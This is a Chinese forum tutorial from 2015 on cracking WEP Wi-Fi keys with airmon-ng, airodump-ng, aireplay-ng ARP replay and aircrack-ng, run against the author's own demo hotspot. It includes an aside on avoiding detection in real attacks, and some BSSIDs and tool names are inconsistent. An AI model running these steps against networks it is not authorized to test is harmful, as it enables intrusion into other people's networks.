本帖最后由 0Shadow 于 2015-6-28 15:14 编辑
开始破解!
终于可以开始了, 由于是出于学习目的, 再加上周围用 WEP 的人已经不多了, 所以我这里用刚买的 WNDR3800 开了一个演示用的热点, 使用 WEP 加密, 参数如下:
* SSID: crack-demo * 密钥 (64bit): 134B395E16 * Channel: 6
(下面的命令都需要以 root 权限运行)
开启侦听接口
首先, 使用 airmon-ng 命令检查并干掉其它可能会干扰我们工作的进程, 然后开启一个处于监听状态的虚拟接口:
# airmon-ng check kill # ip link 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: enp0s25: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff 3: sit0: <NOARP> mtu 1480 qdisc noop state DOWN mode DEFAULT group default link/sit 0.0.0.0 brd 0.0.0.0 4: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff # airmon-ng start wlp3s0
# ip link 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: enp0s25: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff 3: sit0: <NOARP> mtu 1480 qdisc noop state DOWN mode DEFAULT group default link/sit 0.0.0.0 brd 0.0.0.0 4: wlp3s0: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff 5: mon0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000 link/ieee802.11/radiotap xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
在上面的输出中, wlp3s0 是我的无线网卡主要的虚拟接口名称, 你的可能与我的不同, 你可能是 wlan0 之类的. 另外出于隐私的原因, 我将所有的 MAC 地址都用 "xx:xx:xx:xx:xx:xx" 来代替了. 从最后的 `ip link` 输出中, 我们看到多了一个接口: mon0, 这个接口工作就是在 monitor 模式的虚拟接口, 我们后面的操作都是对这个接口进行操作.
另外需要注意的是, 我们要确保我的的主虚拟接口: wlp3s0 被关闭了, 如果你安装的 aircrack-ng 套件比较新的的话 (目前最新的是 1.2_rc2, 经测试我的 1.2_rc1 的版本也是可以的), 在 `airmon-ng check kill` 的时候 wlp3s0 将是自动被关闭了. 但是很可能你的不是最新的, 所以我们这里最好是手动关闭一下 wlp3s0:
# ip link set dev wlp3s0 down
# ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: enp0s25: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff 3: sit0: <NOARP> mtu 1480 qdisc noop state DOWN mode DEFAULT group default link/sit 0.0.0.0 brd 0.0.0.0 4: wlp3s0: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff 5: mon0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000 link/ieee802.11/radiotap xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
注意到 `ip link` 的输出中 wlp3s0 没有了 UP 这个标记, 代表 wlp3s0 确实被关闭了.
确定要破解的 WEP 无线路由的 BSSID
我们前面准备的 crack-demo 这个 AP 工作在 6 频道, 这是我们自己设的, 当我们在外面搞这个活动时, 可能一开始不会知道目标 AP 所工作的频道, 所以首先我们先运行这个命令:
# airodump-ng mon0
不加额外的参数的话, 这个命令默认就会不断的从频道 1 切换到频道 11, 来搜索所有的热点. 它的输出如下:
哎呀, 我附近的热点真多啊, 我这显示器一屏都放不下了, 这只是一部分, 不过没关系, 我们的目标已经出来了, 就在第三行: crack-demo, 频道 6, WEP 加密, 以及其 BSSID. 为了保护街坊邻居以及我自己的隐私, MAC 地址部分我隐藏了厂商地址段, 以及除了我们实验用的 crack-demo, 其它的 SSID 我也都盖住了.
获取了这些信息之后, 我们按下 `Ctrl-C` 退出 airodump-ng, 因为现在的 airodump-ng 会不断的变换频道来扫热点, 对我们下面的工作会有些许影响.
收集数据帧
当我们知道了目标的 BSSID 以及工作的频道之后, 就能对其精准的收集数据帧了, 我们运行下面的命令 (被盖住的厂商地址段用 XX:XX:XX 表示):
- # airodump-ng -c 6 --bssid XX:XX:XX:AC:41:21 -w /tmp/dump mon0
复制代码
这个命令告诉 airodump-ng 令其收集 6 频道, BSSID 为 XX:XX:XX:AC:41:21 的 AP (也就是我们的 crack-demo 这个 AP) 的数据帧, 并将结果保存到 /tmp 目录下以 dump 为前缀的文件里. 这个命令的输出如下:
其中下面的第二个 Station, 地址是 XX:XX:XX:18:EE:9F 的是我的手机, 我是为了演示, 将自己的手机连上了这个 AP. 还记不记得前面说过, 要想捕获数据帧, 得有 Station 连着 AP 才能捕获到有效的数据帧啊.
不过目前这个 AP 只连了我的手机的话, 这个网络是很空闲的, 可以看到, 1 分钟过去了, 才收集了 132 的帧, 这还是我手机一直屏幕亮着的状态, 我试过, 当我的手机锁屏了之后, 几乎帧数就不长了. 而且, 捕获的帧数和有效的 IVs 数目并不是一比一的关系. 有效 IVs 的数目比捕获的帧数少得多得多. 我们前面说过要得到密钥, 一般要获取 40000 ~ 85000 个左右的帧. 按照这个速度, 破解个 WEP 都要 10 多个小时.
那怎么办呢? 可以看下面
(可选) 激发 AP 产生更多的数据帧
为了在短时间内捕获到更多的帧, 我们才用主动攻击的办法, 这就需要用到 aireplay-ng 了, 运行下面的命令:
- # aireplay-ng -3 -b XX:XX:XX:AC:41:2C -h XX:XX:XX:E0:75:90 mon0
复制代码
这条命令会去捕获一条 ARP 请求帧, 然后利用这个 ARP 请求帧对 AP 发起重放攻击. 其中
* -b XX:XX:XX:AC:41:2C 指定 AP 的 MAC 地址 * -h XX:XX:XX:E0:75:90 指定的是重放的 ARP 请求帧的源 MAC 地址. 这里为简便起见, 我用了我自己网卡的地址, 但实际上是可以用已经和 AP 关联的任何一个 Station 的地址的, 而且在实战的时候最好是不要使用自己网卡的 MAC 地址, 以免被抓住.
然后我们切换回 airodump-ng 的窗口, 可以看到, 这下子帧的数量 "唰" 的上去了! 注意因为我用的是我本机的网卡发的 ARP 请求, 所以 XX:XX:XX:18:EE:9F 那一行数据帧的数量变化不明显, 我们应该看 XX:XX:XX:E0:75:90 那一行的数据帧的变化.
破解
当你运行 `airodump-ng -c 6 --bssid XX:XX:XX:AC:41:21 -w /tmp/dump mon0` 的时候, 捕获的数据帧已经开始往 /tmp/dump 里面写了, 这时候其实你就可以使用 aireplay-ng 来破解密钥了. 那么我们来运行:
# aircrack-ng -b 00:01:02:03:04:05 /tmp/dump*.cap
输出如下:
注意我红圈标出来的地方, 一开始 aireplay-ng 使用 4150 个 IVs 来推出密钥, 失败了. 然后第二张图里, 当 IVs 数目达到接近 20000 时, aireplay-ng 这时破解成功了. 找出的密钥正是我们设置的: 134B395E16
好了, 至此为止, 我们的 WEP 破解就算成功了.
最后还想再说两点:
- WEP 协议和 aircrack-ng 套件其实还是挺复杂的, 上面写的内容里, 虽然看似就那几个步骤最后就解出了密钥, 但你真正在做的时候可能还会碰到各种坑, 是我没有涵盖到的, 所以如果对上面的内容或者实践过程中有问题的话欢迎在下面回帖交流
- WEP 加密方式现在几乎已经没有人在用了, 现在的路由器都会引导用户使用 WPA 加密方式. 所以这篇文章其实也只能够用来学习探究, 并没有什么实战价值
|